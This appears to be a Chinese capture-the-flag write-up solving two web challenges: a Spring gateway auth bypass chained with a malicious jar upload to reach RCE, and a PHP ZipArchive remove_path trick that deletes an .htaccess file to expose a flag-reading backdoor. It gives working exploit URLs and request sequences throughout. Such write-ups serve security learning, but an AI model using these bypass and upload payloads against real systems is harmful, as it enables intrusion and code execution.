参考
https://mp.weixin.qq.com/s/LyxgB7YFM0RcZSN5hmZF9Q
ezjava
经典ezjava。开局三个服务gateway、microservice、eruka
其中eruka没点用处,重点关注microservice微服务,gateway是鉴权用的,考一个trick。
绕过gateway
gateway的逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
|
package com.demo.gateway;
import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import java.util.Date; import java.util.LinkedHashMap; import java.util.Map; import org.springframework.core.annotation.Order; import org.springframework.core.io.buffer.DataBuffer; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.server.reactive.ServerHttpRequest; import org.springframework.http.server.reactive.ServerHttpResponse; import org.springframework.stereotype.Component; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono;
@Component @Order(1) public class SecurityFilter implements WebFilter { public SecurityFilter() { }
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) { ServerHttpRequest request = exchange.getRequest(); ServerHttpResponse response = exchange.getResponse(); String path = request.getPath().value(); return path.startsWith("/app/") ? writeErrorMessage(request, response, HttpStatus.UNAUTHORIZED, "No Auth!!") : chain.filter(exchange); }
public static Mono<Void> writeErrorMessage(ServerHttpRequest request, ServerHttpResponse response, HttpStatus status, String message) { response.getHeaders().setContentType(MediaType.APPLICATION_JSON); response.setStatusCode(status); Map<String, Object> errorAttributes = new LinkedHashMap(); errorAttributes.put("timestamp", new Date()); errorAttributes.put("path", request.getPath().value()); errorAttributes.put("status", status.value()); errorAttributes.put("error", status.getReasonPhrase()); errorAttributes.put("message", message);
byte[] bytes; try { ObjectMapper objectMapper = new ObjectMapper(); bytes = objectMapper.writeValueAsBytes(errorAttributes); } catch (JsonProcessingException var7) { throw new RuntimeException(var7); }
DataBuffer dataBuffer = response.bufferFactory().wrap(bytes); return response.writeWith(Mono.just(dataBuffer)); } }
|
做了处理,假如以app起手的话就会寄掉,这里有预期和非预期两种bypass方式,首先是guoke爷的非预期
我们只需要url编码一下就可以绕过了
还有一种方法就是预期方法了,观察yml文件就可以知道
所以绕过方法是
使用/app;a=b/login 来进行绕过
RCE
首先确定漏洞点
到最后就会直接newinstance实例化了。所以我们的思路应该是这样,他不是jdbc反序列化,这是他自己的逻辑。要想rce还需要利用一个路由。
这里可以上传一个文件到目录去,那么我们只需要上传一个恶意的jar包就行了。然后在addDriver的时候把他加载到当前的上下文
思路就是这样比较简单,那么就来看看还有什么过滤
FILE_NAME_REGEX_PATTERN
这个正则
只允许上传文件名包含js、css的,绕过也简单就只需要1.js.jar、1.css.jar就行了。
然后就是addjar的逻辑
他会在deDriverid这个文件夹下寻找jar后缀名的文件。那我们还需要创建一个文件夹才行,方法也简单就是把文件名变成1.js/1.css.jar
这样就符合正则,又可以创建一个1.js文件夹了。
先准备恶意的jar包,然后准备发包。
[http://localhost:8080/%61%70%70/staticResource/upload/custom-drivers%252fm4x1.js%252fa.js](http://localhost:8080/%61%70%70/staticResource/upload/custom-drivers%252fm4x1.js%252fa.js)
由于会对pathvar进行一次url解码,所以可以这样进行绕过。
成功的绕过了限制
这里创建了第一层文件夹。然后createFile创建了jar文件。
最后效果如下。那么接下来就是触发rce的阶段了。然后将jar添加到classloader里。
[http://localhost:8080/%61%70%70/addDriver/m4x1.js](http://localhost:8080/%61%70%70/addDriver/m4x1.js)
获取到唯一的jar文件。然后customJdbcClassLoader.addFile(tmp);
放到classloader里。
最后validate触发rce
[http://localhost:8080/%61%70%70/validate/m4x1.js](http://localhost:8080/%61%70%70/validate/m4x1.js)
check里会检测json里的configuration字段
加载之前的恶意类,最终弹出计算机。
noumisotuitennnoka
考点:removepath trick
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php highlight_file(__FILE__); $dir = '/tmp'; $htContent = <<<EOT <Files "backdoor.php"> Deny from all </Files> EOT; $action = $_GET['action'] ?? 'create'; $content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);'; $subdir = $_GET['subdir'] ?? '/jsons';
if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10) die("....");
$jsonDir = $dir . $subdir; $escapeDir = '/var/www/html' . $subdir; $archiveFile = $jsonDir . '/archive.zip';
if($action == 'create'){ @mkdir($jsonDir); file_put_contents($jsonDir. '/backdoor.php', $content); file_put_contents($jsonDir.'/.htaccess',$htContent); } if($action == 'zip'){ delete($archiveFile); $dev_dir = $_GET['dev'] ?? $dir; if(realpath($dev_dir) !== $dir) die('...'); $zip = new ZipArchive(); $zip->open($archiveFile, ZipArchive::CREATE); $zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]); $zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]); $zip->close(); } if($action == 'unzip' && is_file($archiveFile)){ $zip = new ZipArchive(); $zip->open($archiveFile); $zip->extractTo('/'); $zip->close(); } if($action == 'clean'){ if (file_exists($escapeDir)) delete($escapeDir); else echo "Failed.(/var/www/html)"; if (file_exists($jsonDir)) delete($jsonDir); else echo "Failed.(/tmp)"; }
function delete($path){ if(is_file($path)) @unlink($path); elseif (is_dir($path)) @rmdir($path); }
|
1 2 3 4 5 6 7
| action=create&subdir=/f action=zip&dev=/tmp//&subdir=/f action=unzip&dev=/tmp//&subdir=/f action=clean&dev=/tmp//&subdir=/.htaccess var/www/html//tmp/f/.htaccess去掉/tmp+两个字符之后就变成 var/www/html/.htaccess 然后利用clean直接删.htaccess。直接访问backdoor.php
|